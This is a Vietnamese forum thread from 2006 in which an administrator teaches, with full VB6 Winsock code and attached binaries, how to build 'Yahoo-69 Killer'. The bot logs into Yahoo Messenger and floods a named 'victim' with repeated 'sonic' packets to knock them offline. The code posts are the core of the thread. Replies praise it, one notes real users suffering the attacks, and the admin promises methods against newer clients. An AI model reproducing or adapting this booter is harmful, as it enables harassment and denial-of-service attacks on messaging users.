VNP Community
Tags
This content has not been tagged yet
> Tự làm 1 chương trình Bot yahoo bằng VB 6.0  2 Pages V   1 2 >  
Closed TopicStart new topic
TrungDung
post Mar 30 2006, 12:30 AM
Post #1


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Tôi sẽ chia ra làm 3 phần tương ứng với 3 công việc chính:

Phần 1 : Tạo cơ sở dữ liệu (Database) cho chương trình và thiết kế khung cho chương trình Bot.
Phần 2 : Thiết kế Form chương trình.
Phần 3 : Viết Source cho chương trình và các Module(lập trình đơn thể).


Điều trước tiên các bạn phải cài đặt chương trình Visua Basic 6.0 Load tại các trang Web về Visual Studio.Các bạn có thể dùng Google để tìm kiếm.

Bắt đầu với phần 1:

Sau khi mở 1 Form mới của VB6 ta sẽ thấy như sau:


Chọn Form làm việc Standar.EXE rồi ok :
Sau khi Ok nhìn lên trên thanh công cụ tìm đến Project chọn như hình dưới:


Tìm đến dòng có ghi Microsoft Winsock Control 6.0 (MsWinsck.ocx) như hình dưới rồi Aply add vào khung làm việc của chương trình vì như tôi đã nói ở phần căn bản VB chỉ đưa ra các Tool theo chế độ mặc định của chương trình ở đây ta cần M.W.C 6.0 :



Ngay lập tức ta sẽ thấy biểu tượng WinSock trong bảng tool

Click chuột vào biểu tượng Winsock rồi vào Form Drak chuột ta sẽ thấy nó được đưa vào Form:


Tiếp theo ta sẽ phải đặt tên cho chuơng trình Bot của mình.
Click chuột vào Form rồi nhìn bên trái là bảng Propeties của Form.Tìm đến dòng Caption và đặt tên cho Form.Phần tên này sẽ hiển thị ở Title của Form:


Sau khi đặt tên ta nhìn vào bảng Project Propeties :


Sẽ hiện ra 1 bảng làm việc như sau:

Các bạn khái bào như tôi hoặc tùy theo ý muốn.
Quay trở lại Form chương trình các bạn Click chuột vào Form rồi nhìn sang Form1 Properties tìm đến Back Color Click chuột vào đó và chọn màu nền cho Form:

Sau khi chọn sẽ thấy :



Tiếp theo là ta Add Module cho chương trình.Tôi có gửi kèm theo 2 Module có sẵn các bạn chỉ việc Add vào đó là Module Login Module Packet Các bạn làm như sau để Add vào: Click chuột vào Project trên thanh công cụ chọn Add Modules..:



Các bạn tìm đến Module mà tôi gửi kèm sau khi đã Load ra máy :



Sau khi đã Add cả Module và Packet sẽ thấy :





Như vậy phần thiết kế khởi đầu đã xong.

Attached File(s)
Attached File  Module___Packet.zip ( 3.71K ) Number of downloads: 466
 
Go to the top of the page
 
+Quote Post
Game Online
TrungDung
post Mar 30 2006, 01:27 AM
Post #2


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Tiếp theo chúng ta sẽ thực hiện phần 2 của chương trình:Thiết kế Form cho chương trình:

Nhìn vào thanh công cụ bên trái của chương trình Vb sẽ thấy các công cụ mà VB cho ta.Tìm đến Icon có hình ab| đây là Text của chương trình.Click chuột vào đó rồi vào Form Drak ra sẽ được 1 text Box như hình dưới:

Tiếp tục nhìn vào Tool ta tìm đến biểu tượng hình chữ nhật ngay dưới Text đó là tool Command click chuột rồi lại Drack vào Form :


Làm như thế 3 lần tạo ra 3 command như hình trên.

Tiếp theo ta tìm đến Tool Label là Tool có hình chữ A to sau đó làm như trên tạo ra 1 Label trong Form như hình dưới:



Việc tiếp theo ta tạo thêm 3 Text Box nữa.Làm như trên add vào Form sẽ có được như sau:



Sau khi đã có đầy đủ những thứ như trên ta tiến hành đặt tên cho các điều khiển mà ta đã add vào Form.
Với Text 3 trước: Các bạn Click chuột vào nó rồi nhìn sang bảng Propeties bên phải tìm đến dòng có ghi Text rồi đặt tên như hình dưới:


Xóa hết những gì trong đó và đặt tên như sau: scs.msg.yahoo.com



Tiếp theo với Text 1 ta làm như Text 3 nhưng tại Text ta đặt tên là Booter ID
Và Text 2 đương nhiên là Passwords
Tuy nhiên kiểu hiển thị pass nick Bot này ko phải dưới dạng * để có thể làm dưới dạng * thì tôi sẽ nói ở phần nâng cao.
Với Text4 ta đương nhiên ko thể thiếu Victim Here.
Và cũng như vậy đối với Command ta lại tìm đến bảng Propeties để đặt tên tuy nhiên với command thì khác 1 chút.Các bạn đăt tênc ho điều khiển này tại Captoin giống như đã làm với Form.
Tại Command2 ta đặt tên là Logout :


Command 1 thì đặt là Login
Command 3 thì đặt là Boot Victim
Tiếp theo để cho dễ nhìn ta Click chuột vào Text 1 sau đó tại Propeties ngay dòng trên cùng Alignment ta chọn chế độ Center và làm như vậy với các Text còn lại để căn giữa cho chúng.Chú ý là chỉ làm với các Text thôi còn Command thì Center là chế độ mặc định.

Các bạn có thể Click chuột vào các Text sau đó tại Prope.. của nó tìm đến Font và Backcolor để chọn font chữ và màu nền,Tìm đến Fore Color để chọn màu chữ theo ý mình.Giông như hình dưới tôi đã làm:


Các bạn có thể Load Form kết thúc phần 2 tôi có gửi kèm theo.
Ngoài ra tôi có gửi kèm theo các Icon để sau này sao khi viết xong các bạn sẽ chọn Icon cho chương trình theo ý muốn.

Như vậy Phần thiết kế Form làm việc cho chương trình coi như xong.
Tiếp theo là viết Code cho chương trình.Tôi sẽ nói ở bài sau.
Giờ tôi go to stop

Attached File(s)
Attached File  Icon.zip ( 18.5K ) Number of downloads: 294
Attached File  Phan_2.zip ( 157.91K ) Number of downloads: 612
 
Go to the top of the page
 
+Quote Post
TrungDung
post Mar 30 2006, 11:06 PM
Post #3


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Phần thứ 3 quan trọng nhất của chương trình là Viết Code làm việc cho chương trình.Các bjan phải làm theo đúng những gì tôi nói nếu có sai xót chương trình sẽ ko làm việc.

Trước tiên các bạn nhìn vào Form mình đã thiết kế như phần 2 tôi đã nói.
Các bạn sẽ phải viết Code cho 4 điều khiển tất cả:
WinsockControl.
Command 1 : Login
Command 2 : Logout
Command 3 : BootVictim


Trong chương trình tôi có gửi kèm 2 Modules là Module Login và Packet Coding tôi đã viết sẵn mã Code cho chúng và sẽ giải thích ý nghĩa Code tại những bài viết nâng cao các bạn ko cần thwasc mắc về Code của chúng.

Trước tiên chúng ta sẽ viết Code cho điều khiển WinsockControl.Đây là điều khiển quan trọng nhất của chương trình.Moi hoạt động của chương trình đều dựa vào làm việc của điều khiển này nên các bạn chú ý xem kĩ.

Để viết Code cho Win SockControl các bạn chỉ việc Click đúp chuột vào biêtr tượng Winsock trong Form hiện thời ngay lập tức sẽ hiện lên 1 bảng mới cho các bạn như hình dưới:

Private Sub Winsock1_Error(ByVal Number As Integer, Description....

End Sub

Các bạn copy đoạn code dưới vào giữa:

Label1.Caption = "Dang Ket Noi Nick Bot."
Winsock1.SendData Get_Key(Text1)


Sẽ trở thành:

Private Sub Winsock1_Error(ByVal Number As Integer, Description....
Label1.Caption = "Dang Ket Noi Nick Bot."
Winsock1.SendData Get_Key(Text1)

End Sub

Đoạn Code trên là để khi người sử dụng Click chuột vào Command Login thì Label1 sẽ hiện lên báo cáo cho người đó là "Dang Ket Noi Nick Bot".Label1 ở đây đóng vai trò là Status.
Tiếp theo ở dưới dòng End Sub các bạn cách ra 1 dòng và copy tiếp đoạn mã này vào đó:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String, ChallengeString As String
Winsock1.GetData Data
Select Case Asc(Mid(Data, 12, 1))
Case Is = 87
ChallengeString = Split(Data, "94À€")(1)
ChallengeString = Split(ChallengeString, "À€")(0)
getencrstrings Text1, Text2, ChallengeString, Crypt(0), Crypt(1), 1
Winsock1.SendData Login(Text1.Text)
SessionKey = Mid(Data, 17, 4)
Case Is = 84
Label1.Caption = "Sai ID/Pass Nick Bot!"
Winsock1.Close
Case Is = 85
Label1.Caption = "Nick Bot Da Ket Noi."
If Winsock1.State = sckConnected Then
Winsock1.SendData BotStatus(Text1, "Visit Yahoo-69 www.vnpower.org")
End If

End Select
Debug.Print Asc(Mid(Data, 12, 1)) & " - " & Data
End Sub


Với đoạn Code trên Winsock sau khi nhận lệnh Login sẽ ngay lập tức tạo các liên kết với cơ sơ dữ liệu có trong Module Login và tạo liên kết với Server Yahoo tại Text3.Sau khi tạo được liên kết để Login Bot thì Label1 sẽ nhận lệnh hiển thị báo cáo cho người dùng biết đã tạo được kết nối.
Nếu như người dùng điền sai ID hoặc pass nick bot thì kết nối sẽ bị ngưng lại và chương trình sẽ hướng tới câu lệnh tiếp theo.
Ngoài ra trong đoạn code trên tôi có đưa thêm 1 đoạn Code nhằm tạo quảng cáo.Tức là nếu bạn add nick mà bạn dùng để login trong chương trình bạn sẽ thấy Status yahoo của nick đó sẽ hiện lên đường link của Yahoo-69.

Câu lệnh tiếp theo là ở dưới dòng End Sub ta lại cách ra 1 dòng và Copy đoạn mã dưới vào :

Private Sub Winsock1_sonic(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Label1.Caption = "Loi Ket Noi!!!"
Winsock1.Close
End Sub


Đoạn mã trên có nghĩa là khi người dùng điền sai ID hoặc Pass nick Bot Label1 sẽ hiển thị báo cáo ngay lập tức và ngưng hoạt động của Winsock.

Kết thúc phần Code cho Winsock Control.Nhìn lai toàn bộ các bạn sẽ thấy như sau:

CODE
Private Sub Winsock1_Connect()
Label1.Caption = "Dang Ket Noi Nick Bot."
Winsock1.SendData Get_Key(Text1)
End Sub
----------------------------------------------------------------------------------------------
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String, ChallengeString As String
Winsock1.GetData Data
Select Case Asc(Mid(Data, 12, 1))
Case Is = 87
ChallengeString = Split(Data, "94À€")(1)
 ChallengeString = Split(ChallengeString, "À€")(0)
 getencrstrings Text1, Text2, ChallengeString, Crypt(0), Crypt(1), 1
 Winsock1.SendData Login(Text1.Text)
 SessionKey = Mid(Data, 17, 4)
Case Is = 84
 Label1.Caption = "Sai ID/Pass Nick Bot!"
 Winsock1.Close
Case Is = 85
 Label1.Caption = "Nick Bot Da Ket Noi."
     If Winsock1.State = sckConnected Then
        Winsock1.SendData BotStatus(Text1, "Visit Yahoo-69 www.vnpower.org")
      End If

 End Select
Debug.Print Asc(Mid(Data, 12, 1)) & " - " & Data
End Sub
----------------------------------------------------------------------------------------------
Private Sub Winsock1_sonic(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Label1.Caption = "Error"
Winsock1.Close
End Sub
Go to the top of the page
 
+Quote Post
TrungDung
post Mar 30 2006, 11:43 PM
Post #4


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Tiếp theo sẽ là Code cho 3 điều khiển còn lại như tôi đã nsoi trên.
Với Command 1 : Login các bạn Click đúp chuột vào nó sẽ hiện tiếp bảng Code :

Private Sub Command1_Click()

End Sub

Các bạn Copy đoạn mã sau vào giữa:
Winsock1.Close
Winsock1.Connect Text3.Text, 5050


Sẽ trở thành :

Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Text3.Text, 5050

End Sub


Có nghĩa là khi người dùng Click vào Login thì việc đầu tiên Winsock sẽ kết thúc tất cả công việc đang làm trước đó nếu có.
Tiếp theo đó Winsock sẽ Connect nick bot với Server nằm tại Text3 và Post là 5050.

Command 2 : Logout :

Private Sub Command2_Click()

End Sub

Copy và Paste đoạn mã dưới vào :
Label1.Caption = "Nick Bot Da Ngung Ket Noi."
Winsock1.Close


Sẽ thành :
Private Sub Command2_Click()
Label1.Caption = "Nick Bot Da Ngung Ket Noi."
Winsock1.Close

End Sub

Tức là : Khi người dùng Click vào Logout thì Winsock sẽ ngưng việc kết nối với Server đồng nghĩa với việc Nick Bot của các bạn sẽ Disconnect.
Và Label1 se hiển thì thông báo như trên sau khi nhưng kết nối.

Command 3 : BootVictim
Private Sub Command3_Click()

End Sub

Các bạn Copy và Paste đoạn mã dưới vào :
If Winsock1.State = sckConnected Then
Winsock1.SendData sonic(Text1, Text4)
End If


Đoạn code này tạo liên kết với Packet Coding mà tôi đã gửi các bạn ở phần 2.
Ý nghĩa như sau: Lệnh If ở đây Nếu Winsock đã được Connect Thì (Then)
Winsock sẽ gửi 1 gói dữ liệu tại Packet Coding từ Text1 (nơi chứa nick Bot của người dùng) đến Text4 (Nơi chứa nick nạn nhân)

Để tốc độ kết nối và gửi giữ liệu được tăng nhanh các bạn Copy đoạn code trên và Paste ra làm nhiều lần khoảng 10 lần.
Sẽ được như sau: (ở đây tôi làm tượng chưng thôi)

Private Sub Command3_Click()
If Winsock1.State = sckConnected Then
Winsock1.SendData sonic(Text1, Text4)
End If
If Winsock1.State = sckConnected Then
Winsock1.SendData sonic(Text1, Text4)
End If
If Winsock1.State = sckConnected Then
Winsock1.SendData sonic(Text1, Text4)
End If
If Winsock1.State = sckConnected Then
Winsock1.SendData sonic(Text1, Text4)
End If
End Sub

Như vậy là ta đã làm hoàn chỉnh Phần 3 của chương trình.
Go to the top of the page
 
+Quote Post
TrungDung
post Mar 31 2006, 12:36 AM
Post #5


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Việc cuối cùng là tạo ra chương trình hoàn chỉnh.Điều này thì cũng ko khó làm.Các bạn chỉ phải làm 2 việc chính là Add Icon cho chương trình và Make chương trình.
Việc thứ nhất:Tôi có gửi kèm các Icon cho các bạn các bạn thích cái nào thì chọn cái đó.Click chuột vào Form sao đó nhìn sang bảng Propeties tìm đến Icon như hình dưới:


Ngoài ra các bạn có thể trang trí cho Form của mình bằng các Line hoặc Picture , Image ...Với chương trình đơn giản này:


Còn với những chương trình phức tạp hơn các bạn còn có thể Add các Website các Flash thậm chí cả Media và nhạc báo kèm theo các điều khiển.
Để có thể làm được việc đó TD sẽ nói ở các phần nâng cao với các Hàm Function , và sử dụng các Chamleon các Kewlbuttons.

Việc tiếp theo với chương trình này các bạn tạo ra 1 Folder để chứa chương trình Boot mà chúng ta đang làm.Trong Folder đó các bạn phải đảm bảo đầy đủ các Files sau:

MSINET.OCX
MSWINSCK.OCX
YMSG12ENCRYPT.DLL




Sau khi đã làm xong các bạn nhìn vào thanh công cụ chọn File và tìm đến dòng Make Yahoo-69 Killer.exe và đưa đường đẫn đến Folder khi nãy ta tạo ra :

Nếu trong quá trình viết Cade có chỗ nào sai thì lúc này chương trình sẽ báo lỗi và chỉ ra chỗ sai của các bạn.Nếu ko có lỗi thì nhìn vào Folder của chúng ta sẽ thấy chương trình được tạo ra :


Giờ tôi chạy thử chương trình với nick Bot hangngavnn2002:


Trong List của tôi:


Kèm theo bài này tôi có gửi kèm theo chương trình làm hoàn chỉnh và tổng thể toàn bộ Code của chương trình cho các bạn Load về so sánh.

Attached File(s)
Attached File  Phan_3.zip ( 160.04K ) Number of downloads: 761
Attached File  Yahoo_69_Killer.zip ( 163.68K ) Number of downloads: 429
 
Go to the top of the page
 
+Quote Post
TrungDung
post Mar 31 2006, 11:22 AM
Post #6


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Các bạn sau khi load về có thắc mắc gì về hoạt động của chương trình Bot trên có thể hỏi tôi.Tôi sẽ giải thích rõ ràng.

Công nhận bài nầy hay thiệt. Muốn khen TD nhưng không muốn làm reply mời.. hì hì .. 3.gif props TD :"> giỏi quá 64.gif

This post has been edited by Miss - Lynnnn: Apr 12 2006, 02:02 AM
Go to the top of the page
 
+Quote Post
.::Thanh Trung::...
post Mar 31 2006, 12:53 PM
Post #7


.:Cơn mưa bất chợt:.
Group Icon

Group: Trader
Posts: 92
Cash: 5k
Age: 20
Joined: 21-March 06
From: Thiên đường N&M
Member No.: 10,875
Yahoo! Status:



Bài này hay lắm , có chiều sâu, cám ơn nhiều, nhưng tại sao không dùng Delphi nhỉ.
Go to the top of the page
 
+Quote Post
-Angel-43v3r-
post Mar 31 2006, 12:58 PM
Post #8


Wife of ATHK | Forever
Group Icon

Group: Member
Posts: 126
Cash: 0k
Age: N/A
Joined: 29-March 06
Member No.: 11,131
Yahoo! Status: N/A



Bài hay lắm anh TD ơi, dễ thực hiện nữa.
Go to the top of the page
 
+Quote Post
namns
post Apr 11 2006, 07:06 PM
Post #9


Junior Member
Group Icon

Group: Member
Posts: 3
Cash: 0k
Age: N/A
Joined: 11-April 06
Member No.: 11,570
Yahoo! Status: N/A



Bài này hay quá, nhưng mà không hiểu sao tui không download được
Go to the top of the page
 
+Quote Post
namns
post Apr 15 2006, 03:43 PM
Post #10


Junior Member
Group Icon

Group: Member
Posts: 3
Cash: 0k
Age: N/A
Joined: 11-April 06
Member No.: 11,570
Yahoo! Status: N/A



Nhưng mà hình như yahoo 7.0 không dùng được bác ạ?
Go to the top of the page
 
+Quote Post
TrungDung
post Apr 15 2006, 03:50 PM
Post #11


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



Nếu mạng mạnh có thể dùng được.1.gif
Với YM 7.0 ->7.5 TD sẽ có những bài viết nói về chúng là cách đè bẹp nó trong TG tới.
Go to the top of the page
 
+Quote Post
khiemnoob
post May 17 2006, 11:23 AM
Post #12


Junior Member
Group Icon

Group: Member
Posts: 1
Cash: 0k
Age: N/A
Joined: 17-May 06
Member No.: 13,026
Yahoo! Status: N/A



QUOTE (TrungDung @ Mar 31 2006, 11:22 AM) *
Các bạn sau khi load về có thắc mắc gì về hoạt động của chương trình Bot trên có thể hỏi tôi.Tôi sẽ giải thích rõ ràng.

Công nhận bài nầy hay thiệt. Muốn khen TD nhưng không muốn làm reply mời.. hì hì .. 3.gif props TD :"> giỏi quá 64.gif


bạn ơi, sao mình không down được mấy cái file đính kèm...ko có mấy file đó thì sao chạy chương trình được
Go to the top of the page
 
+Quote Post
TrungDung
post May 17 2006, 04:55 PM
Post #13


No Predestinedation
Group Icon

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status:



QUOTE (khiemnoob @ May 17 2006, 11:23 AM) *
bạn ơi, sao mình không down được mấy cái file đính kèm...ko có mấy file đó thì sao chạy chương trình được

Chúng tôi sẽ xem lại.
Go to the top of the page
 
+Quote Post
girl_locnh0c_laz...
post May 20 2006, 10:11 AM
Post #14


B@bY Sh0ck L@zY
Group Icon

Group: Member
Posts: 29
Cash: 0k
Age: 22
Joined: 26-October 05
From: Địa Phủ
Member No.: 8,844
Yahoo! Status:



hix
có vẻ cái link này chậm hay seo mà vào ko đc nè 2.gif
Go to the top of the page
 
+Quote Post
cbr
post May 21 2006, 03:42 PM
Post #15


Junior Member
Group Icon

Group: Member
Posts: 8
Cash: 0k
Age: N/A
Joined: 26-October 05
Member No.: 8,855
Yahoo! Status: N/A



nhờ đại ca (TD) viết bài mà dạo này trên net tất cả các khách hàng chơi Yahoo khóc vì những cuộc boom buzZ của Yahoo 69 killer 1.gif
Go to the top of the page
 
+Quote Post
ATHK
post May 21 2006, 03:57 PM
Post #16


Yahoo-69 System
Group Icon

Group: History
Posts: 142
Cash: 0k
Age: 23
Joined: 22-December 05
From: Thiên Đường
Member No.: 10,276
Yahoo! Status:



QUOTE (khiemnoob @ May 18 2006, 12:02 PM) *
QUOTE (TrungDung @ May 17 2006, 04:55 PM) *

QUOTE (khiemnoob @ May 17 2006, 11:23 AM) *

Chúng tôi sẽ xem lại.


xem lại 20.gif 20.gif 20.gif ...mong anh sớm sớm... ^<img src=^" border="0" alt="77.gif" /> ^<img src=^" border="0" alt="77.gif" />



Các file attack đã có thể down được rồi 1.gif
Go to the top of the page
 
+Quote Post
nguoitanoi
post Jul 5 2006, 10:57 AM
Post #17